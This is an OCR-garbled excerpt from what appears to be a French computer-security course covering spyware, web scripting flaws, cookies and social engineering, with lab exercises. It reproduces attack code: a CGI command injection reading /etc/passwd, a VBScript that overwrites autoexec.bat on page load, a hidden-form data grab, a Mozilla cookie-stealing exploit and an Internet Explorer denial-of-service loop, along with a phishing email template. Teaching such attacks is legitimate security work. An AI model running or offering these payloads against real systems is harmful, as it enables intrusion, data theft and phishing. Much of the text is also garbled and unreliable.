désinstallé. Ces pratiques abusives ont complétemerddibdisé le concept, jetant la suspicion y compris
sur la nature réelle des informations collectées.

L'utilisateur qui ne souhaite pas installer de spyware domc rester vigilant et suivre ces quelques
conseils. Ceux qui seraient tout de méme tentés par I'dpérant tout intérét a lire en détail les conditions
d'utilisation du logiciel et surtout a garder a I'esprit glies sont le plus souvent conformes au droit améri-
cain, donc beaucoup moins protectrices en matiére de wiéggu’en Europe. Il est ainsi recommandé de
ne pas donner son adresse email permanente, mais si néedssse créer un compte gratuit qui pourra étre
fermé sans remords, notamment en cas de spamming.

LIENS UTILES :

— Spychecker : moteur de recherche de spywares
InfoForce : liste de spywares (derniére version connue)
Dossier Secuser.com : firewall personnel

ZoneAlarm : firewall personnel de ZoneLabs

Ad-Aware : antispyware de Lavasoft

Dossier Secuser.com : spamming et mailbombing

38.8 Travaux Pratiques

— Installer et exécuteadaware (http://www.lavasoftusa.com )
— Installer et exécuterindowsstartup  (http://www.windowsstartup.com/ ) afin de voir
les différents éléments de votre systéme qui sont démaurésat de votre systeme.

1l est possible de refuser définitivement ce tracking vidtke Networkadvertising.org


http://www.lavasoftusa.com
http://www.windowsstartup.com/
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Chapitre 39

Langages de Programmation Web

39.1 Introduction

Trés utiles lors de la programmation de sites Web, les laemyiideb permettent hélas aussi d'utiliser le
contenant de la machine cliente et de ce fait les failles der&é qui lui sont inhérantes.

39.2 Les CGl

D’une maniére générale, toutes les interfaces homme / ma¢hiM) modélisés par les CGI (Common
Gateway Interface) peuvent devenir des failles de séclihité mauvaise gestion des saisies de données peut
conduire a la divulgation de données.

Voici un petit script CGI on ne peut plus simple, il fait apgdlexécution du fichier de commande shl.

Listing 39.1 — cgi.html

<FORM Method=GET Action=/cgibin/shl>é
Rpertoire a lister :<br>

<input type=text name=paraml><br>

<input type=submit name=envoyer value=LISTER>
</FORM>

Fichier : shil
Is —Itr $paraml |
while read LINE
do
cgi_print_line S$LINE
done

L'exécution de ce script avec la saisie d’'un répertoire @darliste des fichiers contenu dans ce réper-
toire. Par contre si I'on y insére une commande telle gegal cat /etc/passwd‘on obtient le contenu du
fichier /etc/passwd.

Travaux Pratiques

— Se connecter au seveur indiqué sur cgi.html, constatez.

On pourra remarquer les x qui représente les mots de passecicgont en fait enregistrés dans un fichier
/etc/shadow (ombre).
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39.3 Les VBScripts

Trés pratique le VBscript permet de programmer des boitedialegues, des menus déroulants etc...
mais mieux encore, il autorise l'acces & toutes les fonstiOhE et ActiveX de Windows au travers du
browser.

Il devient alors un trés bon allié pour les Activex et le Javis car il permet de justifier la présence de ces
derniers dans le code html (pour les paranos).

Certaint bugs de Internet Explorer permettent (sur la verdi.0) de masquer une dialbox avec une autre
dialbox (d'apparence plus innocente) :

Listing 39.2 — vbscript.vb

set wcover = window.open ("bienvenue.htm", "salut,._." )
wcover.close

Et le tour est joué...entre les deux tout est possible, emaegt d'une taupe, envoi de courrier etc. Le plus
important est que le visiteur cliquencore une fois”sur "OK". Voici un exemple de script (par Clad Strife)
qui va modifier I'’Autoexec.bat.

Listing 39.3 — vbscript2.vb

<l-— Sample Code — START —-I>
<SCRIPT LANGUAGE="VBScript">
Public Sub OnLoad_Sub()

Const ForWriting = 2, FILE_NAME = "c:\autoexec.bat"
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile (FILE_NAME, ForWriting )
f.Write "@echoHELLO_FRIEND !"

f.Close
End Sub
</SCRIPT>
<l-— Sample Code — END —-I>

Pour ééxcuter cecode sur la page web vous avez besoin de faire appela
cette fonction, pour |’exemplevenant.du_script.
<BODY_ONLOAD="OnLoad_Sub()" >

[ENTRTE )

39.4 Le JavaScript

Le JavaScript n'est pas dangereux, c’est un fait, ceperidpatit nous permettre d’obtenir certaines
informations. Lorque vous allez sur un site de Warez et voyex s'afficher votre adresse IP, votre version
de Navigateur etc..., il est impossible normalement desféaar ces informations aux serveurs ou a l'ad-
ministrateur de celui-ci. En effet, le Le JavaScript ne dai¢ visualiser des informations contenues sur vos
disques durs. Le script s’exécute sur le poste client, ilend péaliser d’'upload vers le serveur.

39.4.1 Utilisation de la naiveté des internautes

Par contre, certains scripts JavaScripts font une requigiene dialogbox au visiteur du site, et comme
en général les visiteurs cliquent rapidement sur OK en vioyaa dialogbox, il est facile de transférer les
informations par mail & une adresse spécifique.
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Listing 39.4 — javascript

<HTML>

<HEAD>

<SCRIPT LANGUAGE=JavaScript >
<l——

function voldata ()

{
maintenant = new Date ()

message = maintenant.getDate ()

+ "

+ eval(maintenant.getMonth()+1)

+ """

+ maintenant.getYear()
document.formulaireBidon.champMasque.value = messag
document.formulaireBidon.submit ()

}
I ——

</SCRIPT>

</HEAD>

<BODY onLoad = ’'voldatal (); '>

Merci pour les renseignements =)
<FORMNAME=formulaireBidon METHOD=POST
ACTION="mailto : adressebidon@tonserveur.com ">
<INPUT TYPE=HIDDEN NAME=champMasque >

</FORM>

</BODY>

</HTML>

Ce petit code va créer un mail avec I'adresse e-mail par téi@me dans le Browser utilisé pour visiter la
page web.

39.4.2 Utilisation des failles des navigateurs

Un petite démonstration en dit plus long qu’un long discobssayez ces petits codes sources. lIs fonc-
tionnent trés bien. Suprenant.

Failles de Mozilla

Title: Steal/spoof arbitrary cookie in Mozilla

Date: [2002-07-24]

Software: Mozilla

Vendor: http://www.mozilla.org

Fix: The author has been working with Mozilla

to produce a patch. Problem is fixed in

Mozilla 1.1 Beta released 02-07-22.
Workaround: Preferences->Advanced->Scripts & Plugins->

Disable access to cookies using javascript

Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLS o \=/"%
Author: Andreas Sandblad, sandblad@acc.umu.se (0 0)

——— e e e e e e e e e e e Cee e T OOO --(_)_-OOO_-_
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BACKGROUND:

| orginally thought this was a XSS (cross site scripting) iss ue, but soon
came to the conclusion that it is limited to a design error in r estricting
access to cookies. Even though Mozilla is open source, | have not been
studying the source code in order to find and exploit the vuln erability.

In the beginning | had problems not generating any javascrip t errors when
using the javascript URL. My first solution was to make the ho st and path
to be a valid javascript expression. Google.com may be a vali d expression
if google is an object and com is an element/variable of the Go ogle

object. Further on if Google.com is an int, it is legal to use g oogle.com/

1. Parsing of host and path will stop when a space is found.

Well, | soon found a much easier solution. Simply put a // in fr ont of the
host and path and a \{ats}n before the cookie reading code acc our. The reason
why | didn't find this directly was because the newline must b e created in

a javascript function. It can't be set directly in a javascri pt url.
DESCRIPTION:

Mozilla allows script in the javascript protocoll to set and read cookies.
For javascript URLs the host and path for the cookie is pulled out as:

"javascript:[host][path]"

Cookie security is based only on restricting access to corre ct matching
host and path. By carefully crafting a mallicious javascrip t URL opened in
a new frame/iframe/window, it is possible to access and alte r cookies from

other domains.

DETAILS:

The easiest way to exploit the vulnerability is to simply cre ate a
javascript URL in a javascript function as:

javascript://[host]/[path]{\n[code to read cookie]

The /I will make sure host and path don’t generate any javascr ipt errors.

EXPLOIT:

Instructions:
Put the exploit in a html document on a remote server and load i t with
your Mozilla browser to activate the exploit.

CUT HERE cooemmceeeee s
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<pre>
Title: Mozilla cookie stealing/spoofing
Date: [2002-07-24]
Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLS o \=/"
Author: Andreas Sandblad, sandblad@acc.umu.se (0 0)
Se-See-Ee-SeeSee S-S S-S ee- S-S =-----000 --(1)--Oo00---
This demo will display your google cookie (must exist).
</pre>

<body onload=init()>

<iframe name=f height=0 width=0 style=visibility:hidden ></iframe>
<script>
function init(){
f.location = "“javascript://www.google.com/\n"+
""<body onload=alert(document.cookie)>";
}
</script>

CUT HERE comemmeeeeee e

Travaux Pratiques

— Installer Mozilla

— Se connecter au seveur indiqué sur mozilla.html

Failles de InternetExplorer

Internet Explorer JavaScript Modeless Popup DoS

I) Présentation

La version 6 d’'Internet Explorer présente un bug, qui tiemapte du JavaScript pour appeler un nombre
important de boites de dialogues ouvertes sur la page,tardaitboucle sans fin et rendant Internet Explorer
inutilisable.

Méme en arrétant le process « IEXPLORE » (en le killant), leigel de dialogues persistent, prenant
100% de la CPU.

Cela provient de la nature de la fonction showModelessB{alqui ne rend pas la main et rend la
machine et nécessite un redémarrage (d'ou DoS)

II) Exploit

Placez ce code dans un fichier HTML appelé exploit.html

Listing 39.5 — javascript

<html>

<head>

<script type="javascript">

function exploit() {

while (1) {

showModelessDialog ("exploit.html™)
}
</script>

</head>

<body onLoad="exploit">
</body>

</html>
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39.5 Applet Java

Pour des raisons de sécurité évidentes, les applets neaotdyt a fait des applications Java comme
les autres. Imaginez qu’une applet mal intentionnée spiloie de formater votre disque dur... En fait les
applets n'ont pas acces au systeme de fichiers des machinkEssguelles elles s’exécutent. Une applet
ne peut pas non plus établir de connexions réseau autre Heeueexiste entre elle et la machine qui
I'hnéberge. Elles ont par contre le pouvoir de réagir awoastide la souris, du clavier ou du systéme.

39.5.1 Exemple

Pour les mémes raisons qu’auparavant, les applets Javamqgelonner lieu a des messages de sécurité
de ce genre :
Technical description :
The Microsoft VM is a virtual machine for the Wing2 operating environment. It runs atap
Microsoft WindowsR) 95, 98, or Windows N®), or Windows 2000. It ships as part of each
operating system, and also as part of Microsoft Internetdep The version of the Microsoft
VM that ships with Microsoft Internet Explorer 4.x and Irmet Explorer 5.x contains a security
vulnerability that could allow a Java applet to operate idetthe bounds set by the sandbox.
By design, an applet should only be able to communicate \wighateb site that hosted it. Ho-
wever, this vulnerability would allow an applet to bypass tiestriction. If a user visited a web
site operated by a malicious user, the site could start aleftyat would be able to establigh
a connection with another web site and forward any inforomafrom the web session to the
malicious user’s site.
The session would be established in the guise of the visitieg, rather than that of the malicious
user. Thus, the vulnerability could be used to access aanetrsite located behind a firewall,
access information in the guise of the user, and relay itdarthlicious user. The only prerequisite
is that the malicious user would need to know or guess the e intranet site. Although
the applet would be able to make use of the user's credemdiasithenticate to the site, thjs
vulnerability would not provide a way to compromise them.

39.6 Les ActiveX

Il s’agit de modules exécutables qui peuvent automatiqmerdee téléchargés et lancés a partir de
votre browser. lIs rééagissent a des codes d’authenttfitappelés "authenticodes". Ces codes font appel
a plusieurs regles concernant le vendeur, la date de anégttla date d’expiration (verisign). Actuellement
les authenticodes (X509) autorisent la signature des anagnes codes pour les extensions suivantes :

* exe*.cab*.ocx* .dll

Prenons I'exemple d’'un programme de taupe téléchargeablgeisiune page web. Il faudra procéder en
plusieurs étapes pour que les opérations de signature edrifieation s’effectuent avec succes. Il faudra
pour cela :

MakeCert crée un test de certificat X.509 Makecert.exe

Cert2SPC crée un test SPC Cert2SPC.exe

SignCode utilise le SPC pour signer un fichier

ChkTrust vérifie la validite du fichier ChkTrust.exe

DumpCert valide le certificat DumpCert.exe
SetReg | modifie la clé qui controle l'authentification dans la baseatgstres| SetReg.exe
Signer exécute la signature Signer.dll

TAB. 39.1 — Eléments nécessaires a la vérification d'une sigmatu
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Le Chaos Computer Club (groupe de hackers allemand) ajaifaieune démonstration des multiples
possibilités de cette technique en réalisant un activeeffacait explorer.exe du disque dur.

Avec des contrbles ActiveX on peut se permettre de chargertaupe sur n'importe quelle machine
(backorifice par exemple) et ainsi recevoir par mail (anoagwvidemment) tous les mots de passe et infos
confidentielles qui sont contenues sur I'ordinateur duisi La seule limite est alors celle de 'imagination.

Pour éviter de se faire piéger, il est possible de modifieéléments suivants (qui sont nécessaires au
processus d’install d'un activex) :

— Wintrust.dll
Softpub.dll
Mssip32.dll
Vsrevoke.dll
Crypt32.dll

39.7 Certification de code

Pour rassurer un client, le serveur signe chaque applétujilite dans ses pages HTML. Il faut alors
établir la validité de la clé de signature a I'aide d’'un dedit émis par une autorité reconnue par le client.
La plupart des navigateurs aujourd’hui incluent les clésaténcipales autorités de certification.

Il reste quelques problémes a cette approche :
— L'oeuf ou la poule : avant de pouvoir vérifier la signature @i logiciel, il nous faut un navigateur
digne de confiance. Il faut donc obtenir le navigateur d’urtessfacon...
— Microsoft a réglé la question en incorporant Internet Brgal au Systéme d’Exploitation.
— La signature garantit I'origine du logiciel et c’est toetqu’elle garantit.
— Aucune assurance sur le comportement du logiciel unerfsialié.
— Méme certains logiciels vendus dans une boite ont étélawéc un virus...
— L'assurance qu’on peut donner a une signature dépend dmfmicce que nous inspire l'autorité
de certification qui a émis la clé...

Le méme principe s’applique aux contr6les ActiveX de Miafbsqui sont signés par un "authenticode”.
— Les laboratoires Bellcore ont congu BETSI, dans le but &isfaire un besoin de sécurité lors de la
distribution de logiciel sur Internet." Il est basé sur ledée PGP
— Les cryptolopeg d’'IBM sont un autre mécanisme pour sécuriser et autorisgatssmission d'in-
formation sur Internet. La combinaison de chiffrement eiuthentification & plusieurs niveaux, per-
mettant de déverrouiller sélectivement la sauvegardaptession, la copie et le visionnement du

document.

1Fonction du systéme SET (Secured Electronic Transfer) gunpt de sceller des données confidentielles dans une dpped|
électronique que seul peut ouvrir le destinataire autorisé
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URL

Client Serveur

h J

Fic. 39.1 — Certification de code

39.8 Se protéger

N'utilisez votre navigateur Internet qu'a minima lorsqueig avez la possibilité d’accéder a des données
sensibles. Désactiver le JavaScript. Dites non aux ActeeXpplets Java.
39.9 Travaux Pratiques

1. Faille de Internet Explorer
Dans la barre d’adresse, indiquer I'adresse suivante :
http://www.yahoo.fr\%01\%00google.fr/index.html
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Cookies

40.1 Introduction

Les cookies ne représentent pas de menace directe pourordirateur ou les données qui y sont
placées. Cependant, ils sont vraiment une menace pour faleptialité : un cookie permet a un site web
de conserver vos références et de suivre a la trace vossuikitsite. C'est pourquoi, si vous préférez garder
'anonymat, vous devriez désactiver les cookies en utitites parametres de sécurité de votre navigateur.

40.2 Définition

Quel rapport entre des "biscuits" et I'Internet ? Un coolgeun petit fichier au format texte d’'un maxi-
mum de 4 Ko, envoyé ("offert", comme un biscuit?) par le senaun site Web et enregistré sur votre
disque dur par votre navigateur.

Il peut contenir des informations diverses, par exempleola nlu site web qui vous I'a envoyé (im-
posé ?), la date de votre visite, les pages du site que vorymitees, le navigateur que vous utilisez, votre
adresse ip (laquelle change a chacune de vos connexionasiveas connectez par I'intermédiaire d'un
fournisseur d’acces, ce qui limite I'indiscrétion!)...

Un cookie ne contient ni votre identifiant d’accés a Intemietotre adresse électronique et il ne peut étre
relu que par le serveur qui I'a envoyé (on aimerait!).

Un cookie n’étant pas exécutable, il ne peut contenir desviru

En principe, les cookies permettent a un webmaster d'évlisage que ses visiteurs font de son site.
Malheureusement, ils peuvent étre utilisés a des fins deatiagk en analysant les différentes pages que
vous consultez sur un site pour établir un profil de votreqranalité d’'internaute et vous faire des proposi-
tions commerciales ciblées.

S’il est clair que les cookies puissent étre utiles aux wedters, quel intérét ont-ils pour I'internaute qui
visite un site ?

Supposons un site sur lequel il est demandé aux nouveatewrssde remplir un formulaire, par exemple
pour pouvoir télécharger un programme en démonstratiomagraticiel (freeware). Si un résumé des ré-
ponses est contenu dans un cookie, le site pourra "recoeihait habitué et lui épargner de nouvelles
guestions.

162
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Souvent, les données sont codées (cryptées) afin :

— de les rendre difficiles a manipuler trop simplement, agédxtdc-notes de Windows ou votre traitement
de texte par exemple.

— de les rendre difficiles a exploiter par un tiers extérieardspion).

— de les compresser pour qu’elles prennent moins de place.

Alors, utiles ou inquiétants ? Les avis sont trés partagés.

Vous pouvez refuser les cookies, automatiquement, ou anteadge (& paramétrer dans les fonctions
avancées de votre navigateur). Mais certains sites voastsaors inaccessibles.

Rien ne s’oppose non plus a la destruction des fichiers daeadoit a I'aide d’un utilitaire spécialisé
comme Cookie Crusher (qui permet aussi de "trier" les caodietemps réel), soit "a la main”.

Les cookies ne représentent aucun danger pour votre magthines pouvez les ignorer. Mais s'il vous
semble désagréable d’avoir a accepter ces "espions”, vmngep aussi bien les éliminer sans risque ! Par
contre les cookies associés a un spyware peut devenir inggidaix.

40.3 Cookie Bridlant

Certaines personnes malveillantes ont vu dans les cookiesoyen de stocker de l'information confi-
dentielle. lls y inscrivent tout autre chose que I'objetialidu cookie : les données que tape I'internaute et
qui peuvent étre des numéros de carte bancaire ou de coraptfdrmations sanitaires, sociales, la traque
des url visitées etc ...

Les programmes espions (spywares) peuvent tout faire y iemgpatrier pour le compte d’un acteur de
I'espionnage la totalité des contenus de la totalité dekiesdrouvés. De plus le cryptage des données d’'un
cookie n'est pas incassable.

Enfin, le fait de pouvoir lire les noms des cookies peut petinmét des enquéteurs informés (des robots
informatiques ou des personnes physiques) de savoir gtesds/eus visitez.

40.4 Se protéger

Désactivez les cookies sur les machines qui accédent a dege®sensibles. A minima, supprimer les.

40.5 Travaux Pratiques

— Se connecter au serveur.
— Utiliser le visualiseur de cookie de Mozilla (Outils : CaelManager)
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Ingenierie sociale

41.1 Définition

L'ingénierie sociale ("social engineering") consiste pone personne malveillante a se faire passer pour
guelgu’un de confiance afin de tromper la vigilance de sam&#t de lui soutirer des informations critiques.
Une technique d’autant plus courante qu’elle ne nécesagealp grandes connaissances en informatique et
gue tout utilisateur est plus ou moins vulnérable.

41.2 Exemples

Tentatives de piratage par ingénierie sociale visant l@dsateurs de Hotmail et de Wanadoo (05/02/02)

Depuis quelques jours, des utilisateurs de Hotmail et deadlam sont la cible de messages envoyés
sous de fausses identités par des personnes malveillafitede les pousser a dévoiler leurs parametres de
connexion.

Le message visant Hotmail est un courrier électronique emdbtexte prétextant des problemes de
maintenance et demandant de le renvoyer aprés en avoirilergpkestionnaire, comme ci-dessous :

164
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From: "Sécurité Hotmail" <securite_hotmai@hotmail.com>
Subject: Message important.

Cher(e) abonné(e),

Suite a différents problémes de maintenance causés

par un groupe de pirates informatiques, plusieurs
informations de notre base de données ont été effacées;
il s'agit de celles se trouvant avant la "Question/Réponse"
sur les formulaires d'inscription.

C’est pourquoi nous devons vous demander de remplir

le questionnaire suivant et de nous le retournée en
cliuant sur "Répondre" en haut a gauche de votre écran,
puis sur "Envoyer", sans modifier le sujet du message.

Nom:

Prénom:

Login:

Mot de passe:

Merci de nous répondre dans les plus brefs délais.
Cordialement,

L’équipe Hotmalil
e message visant Wanadoo est un courrier électroniqueaiaféiTML prétextant une anomalie dans
le compte d’acceés a internet et demandant de remplir un flairewdétaillé comme ci-dessous :

Dans le cas présent, I'utilisateur peut facilement se iedmpte de la fraude en regardant dans les
propriétés du message.

— Dans le cas d’'Hotmail, I'adresse de I'expéditeur est serurotmai@hotmail.com car Hotmalil inter-
dit visiblement la reprise de sa marque dans le login de siéssbaux lettres.

— Dans le cas de Wanadoo, le faux est encore plus grossieg cadé source révele que I'image du
point d’exclamation jaune provient de Caramail, et le clioedl en bas de message indique s'il en
était besoin que si vous envoyez vos parametres de conneximnrisquez effectivement de revoir
trés bientdt I'apprenti pirate.

Parfois le faux est plus difficile a établir, aussi est-il éngtif de prendre I'habitude de ne jamais ré-
pondre a ce genre de courrier : en cas de doute, validez sisgol'information en joignant vous-méme le
service commercial & un numeéro de téléphone ou a une adrasslesére. Contactez par contre rapidement
les sociétés concernées pour déclarer cette tentativeatage et faire en sorte que le compte de la personne
malveillante soit fermé.

Logins et mots de passe sont les garants de votre sécuriééveiler a n'importe qui sans précaution
vous expose au viol de votre vie privée (lecture de votrer@@uélectronique, connaissance de votre nom
réel si vous utilisiez un pseudo, etc.), a des pertes finese{€puisement ou dépassement ici de votre forfait
internet), voire & l'usurpation de votre identité et & vahise en cause dans des affaires de piratage, si votre
compte est ensuite utilisé pour commettre d’autres actildéumles

Sans informatique! Par téléphone, les ingénieurs sociaux sont capables daioore leurs victimes
de leur donner des informations, en se faisant passer pelgujun d’autre.
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Lu servioe ollént da wanadoo vient de ditecter Ura anoealle condernant voire acods @ wandoo
Weuillez recontigurer woire scciw & (rbsmed par wanadco en rempliszart o lor mulsire

Le semvice cliend de Wanadoo vous informe que voire comple compaie une snarmake

une arreur gt aursanue [ore de voine: demigre session; veuillez réaciwer
volre comgte
51 waus Bax dis probldmes prasez o beesps e conmulbed F&Ide an lgee )

Marci d'avoir choisi Wanadoo et 4 trés bienddl <) Amicalement, Leguipa de YWanadoo.

B Toua droits riservila, Wanado o | F05-J003

FIG. 41.1 — Formulaire de demande de login / mot de passe!
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Prétendre étre un soutien spécialement assigné a résaugrehléme avec le réseau est une ruse cou-
rante (la plupart des utilisateurs sont toujours motivégddr quelqu’un qui se dit vouloir les aider). Se faire
passer pour un employé d’'une société de télémarketing estuire technique (les utilisateurs sont souvent
contents de donner des détails sur leur entreprise et Iseaués’ils pensent que leurs réponses sont pour un
sondage anonyme).

41.3 Banque et confidentialité

Les banques permettant de plus en plus la consultation degstes en ligne se voient obligées d’inviter
leurs utilisateurs a faire de plus en plus attention :
— CyberCafé :
— attention au stockage des données et des mots de passe
— attention au logiciel capture des chaines saisies
— Mail : la banque ne vous demandera jamais votre login/mpbdse
— Tél : la banque ne vous demandera jamais votre login/moassep

41.4 Conclusion

Encore une fois la vigilance est de mise. Ne changez pas leenpisse de quelgu’un parcequ’on vous
le demande par téléphone!
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Directives pour une informatique
sécurisee[9]

Outre le fait de garder votre antivirus a jour en permanema@xiste d’'autres moyens pour réduire
les risques d’infection virale dans votre entreprise. Moite idée des recommandations que vous pourriez
prendre en considération pour pratiquer au sein de votrepge I'informatique en toute sécurité.

42.1 Recommandations aux administrateurs réseau

Instaurez une politique stricte dans votre entreprisensielguelle le téléchargement de fichiers exécu-
tables et documents depuis le net ne sera pas accepté etigpmigramme s’exécutant dans votre entreprise
doit au préalable avoir été certifié sans virus et avalisgstlpréférable de ne pas exécuter les fichiers exé-
cutables, documents, feuilles de calcul, etc. non sa@bciBi vous ne savez pas si un élément est exempt de
virus, partez du principe qu'il ne I'est pas. Dans I'idéak Employés devraient étre autorisés a n'avoir que ce
dontils ont vraiment besoin. Cependant, vous pourriezagér de leur fournir une sélection de jeux/écrans
de veille a utiliser dont I'innocuité a été attestée.

Bloquez tous les types de fichiers non désirés a la passdesiteessagerie. Les virus utilisent souvent
des types de fichiers tels que VBS, SHS, EXE, SCR, CHM et BAT gewpropager. |l est peu probable
gue votre entreprise ait besoin de recevoir de I'extéri@sr fithiers de ces types. Si c’est le cas, Sophos
recommande de tous les bloquer a la passerelle de messageare qu'ils soient ou non infectés par un
virus.

Certains virus essaient de déguiser leur véritable natesedutable en utilisant des "doubles exten-
sions". Des fichiers tels que LOVE-LETTER-FOR-YOU.TXT.VB8 ANNAKOURNIKOVA.JPG.VBS
peuvent apparaitre a premiere vue comme des fichiers imageteuen ASCII) inoffensifs. Sophos recom-
mande d’empécher I'entrée dans I'entreprise a tout fickies@dant une "double extension".

Les fausses alertes de virus (canulars) et les chaines deecqueuvent perturber la marche de I'en-
treprise autant que les virus eux-mémes. En dehors du faémindre de fausses informations et de faire
perdre du temps et des ressources au personnel, elles pdavenir trés embarrassantes pour votre entre-
prise si un employé les fait suivre a vos contacts ou cliéhgst pour cela préférable de mettre en place une
politique stricte sur les canulars, comme celle qui suit :

“"La moindre alerte virale doit étre réexpédiée exclusiveti@e<nom du service ou de la personne res-
ponsable des questions d’antivirus>. Que l'alerte provierd’un éditeur d’'antivirus, ou qu’elle ait été
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confirmée par une grande entreprise informatique ou votri#leéne ami ne change rien. Toutes les alertes
virales devraient étre envoyées exclusivement & <nom éeerdét> et & <nom du référent> seul. C'est le tra-
vail de <nom du référent> d’expédier au reste du personnetds les alertes virales. Toute alerte provenant
d’une autre source doit simplement étre ignorée."

Si vous n'avez pas besoin de I""Exécution de scripts”, egtia.

Changez la séquence de démarrage du BIOS de votre ordipatetiau cas ou vous laisseriez une dis-
guette dans votre machine, démarrer par défaut sur le le€teau lieu de A ;. Ceci devrait empécher a tous
les virus typiques des secteurs de démarrage (comme Forr®SaMAntiCMOS, Monkey, etc.) de vous
infecter. Si vous avez par la suite besoin de démarrer sudisgeette, vous pourrez rapidement réinitialiser
les parametres correspondants dans le BIOS.

Sauvegardez régulierement 'ensemble de vos donnéegjfegz/que les sauvegardes ont réussi.

Abonnez-vous a un service d'alerte par e-mail qui vous aaeties nouveaux virus apparus dans la na-
ture.

Gardez un oeil sur les bulletins de sécurité de Microsaftpduvent vous avertir de nouvelles failles de
sécurité et de problémes rencontrés avec les logicielsogldt.

Rédigez un ensemble de directives indiquant les politiquesettre en oeuvre pour pratiquer l'infor-
matique en toute sécurité et distribuez ce document a febleedes employés. Assurez-vous que tous les
employés I'auront lu et compris et que, s'il leur vient degsfions, ils sauront a qui s'adresser. Vous pour-
riez souhaiter baser vos directives sur les recommandadiax utilisateurs présentes ci-dessous.

42.2 Recommandations aux utilisateurs

Utilisez le Rich Text Format plutdt que les fichiers .DOC qeupent abriter des virus. Vous pouvez
enregistrer automatiquement tous vos documents Word awafdRTF en sélectionnant Outils | Options |
Enregistrement et en choisissant le Rich Text Format danmgeleu déroulant comme format d’enregistre-
ment par défaut.

N’exécutez, ne téléchargez, ni n'ouvrez aucun exécutdblayment ou feuille de calcul non sollicité.
Tout élément s’exécutant sur votre PC doit au préalable étéicertifié sans virus et avalisé.

Tous les e-mails non attendus doivent étre traités comnpestss méme s'ils proviennent d’'une per-
sonne que vous connaissez. Il est prudent de téléphonexgédlgeur pour savoir si c’est bien lui qui a
envoye I'e-mail en question.

N’ouvrez pas de fichiers ayant une double extension (par esuigunvirus.txt.vbs). Dans des circons-
tances normales, vous n’avez nul besoin de recevoir odidartces types de fichier.

Ne téléchargez pas d’exécutables ou de documents deparisentlls sont souvent utilisés pour la pro-
pagation de virus informatiques.

Bien que les fichiers JPG, GIF et MP3 ne puissent pas étre@sf@ar un virus, certains virus peuvent
se faire passer pour ces types de fichiers. Les fichiers ldagoages, graphiques, écrans de veille et vidéo
devraient étre traités avec la méme suspicion que les aypes de fichiers.
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En cas de doute, demandez toujours conseil a votre serfarenatique, n'ouvrez pas le fichier ou I'e-
mail.

Si vous pensez avoir été infecté par un virus, informez-enédiatement votre service informatique. Ne
paniguez pas et n'interrompez pas les autres utilisateurs.

Toutes les alertes virales ou canulars, quels qu'ils spgivent étre envoyés a votre service informa-
tique qui a la capacité de confirmer ou infirmer qu’il s’agitd’vrai virus. Ne faites suivre ces alertes a
aucune autre personne; & moins que vous n’'ayez souscritérvioesd'alertes virales officielles, il y a peu
de chances que l'alerte soit authentique.

Si vous devez travailler a la maison, veillez a suivre les &€procédures que celles de votre lieu de
travail. Des virus peuvent facilement accompagner le trafi@ctué sur un ordinateur de maison lorsqu’il
rentre dans I'entreprise.

Les logiciels antivirus empéchent a la majorité des virup@eétrer votre entreprise mais ils ne sont pas
infaillibles. Il est de votre responsabilité de veiller apss vous faire infecter par un virus informatique.



Chapitre 43

Conclusion

Nous venons de faire un tour d’horizon des principales attacdont VOUS pouvez étre victimes.
Comme vous pouvez le constater I'informatique n’est pasls wecteur d’approche des pirates et les poli-
tiques a adopter pour se protéger sont draconniennes.

Pour résumer, en tant qu’employé d’une entreprise, on peytlement dire que la vigilance doit étre de
mise a chaque instant et 'utilisation d’Internet limité &tockage des mots de passe pour I'accés au serveur
n'est bien sdr pas le bienvenu.

Afin de protéger les serveurs des attaques virales, cewatssuvent installés dans une DMZ (DeMilitari-
zedZone).
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Conclusion

Nous avons vu les moyens que possédaient un informaticigriraier ou de se défendre. Voici pour
conclure un autre moyen : la Justice.

Portez plainte en cas d’attaque ou d’espionnageSi I'ordinateur attaqué (le votre ou celui qui héberge
vos données) est physiquement installé dans Paris ou petitenne, c’est la B.E.F.T.| (Brigade d’Enquétes
sur les Fraudes aux Technologies de I'iInformation) quieegrincipal interlocuteur. Ce sont des enquéteurs
spécialisés dans les crimes informatiques sous toutesfieumes.

BEFTI
163 avenue d’ltalie - 75 013 Paris
01.40.79.67.50

Pour les autres régions, consultez le SRPJ local (ServigoRa de Police Judiciaire). Ce peut étre, se-
lon que vous étes en ville ou village, le commissariat decpadu la gendarmerie. Demander a parler a un
ESCI (Enquéteur Spécialisé sur la Criminalité Informagipgui saura enregistrer votre plainte.

Avant de scanner un port a tout va, il est bon de savoir ce pelit en colter :

Article | Infraction Répression
323-1 CP| * Le fait d’'accéder ou de se maintenir frauduleusement, dansou | lan/100.000F
partie d'un S.T.A.D.
* S'il en est résulté la suppression ou la modification de é&snsoit| 2ans / 200.000R
une altération du fonctionnement de ce systeme
323-2 CP| * Le fait d’'entraver ou de fausser le fonctionnement d’un.S.D. 3ans / 300.000R
323-3 CP| * Le fait d'introduire frauduleusement des données dans.tirAD. ou | 3ans/ 300.000H
de supprimer ou de modifier les données qu’il contient
323-4 CP| * La participation & un groupement formé ou & une ententdiétah | 3ans/ 300.000H
vue de la préparation, caractérisée par un ou plusieussrfatériels,
d’'une ou plusieurs des infractions ci dessus est réprimgerel’in-
fraction elle méme ou la plus grave des infractions

TAB. 44.1 — Répression contre la cybercriminalité

STAD : systéme de traitement automatisé de données.
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Annexe A

GNU Free Documentation License

Version 1.2, November 2002
Copyright(©2000,2001,2002 Free Software Foundation, Inc.

59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Everyone is permitted to copy and distribute verbatim cepfehis license document, but changing it is
not allowed.

Preamble

The purpose of this License is to make a manual, textbookher dunctional and useful document "free"
in the sense of freedom : to assure everyone the effectigddira to copy and redistribute it, with or without
modifying it, either commercially or noncommercially. ®adarily, this License preserves for the author
and publisher a way to get credit for their work, while notrzgetonsidered responsible for modifications
made by others.

This License is a kind of "copyleft”, which means that detiiv@works of the document must themselves
be free in the same sense. It complements the GNU GenerdtRukénse, which is a copyleft license
designed for free software.

We have designed this License in order to use it for manualfrée software, because free software
needs free documentation : a free program should come wittuais providing the same freedoms that
the software does. But this License is not limited to sofewaanuals ; it can be used for any textual work,
regardless of subject matter or whether it is published aged book. We recommend this License princi-
pally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work, in any nadihat contains a notice placed by the
copyright holder saying it can be distributed under the teafthis License. Such a notice grants a world-
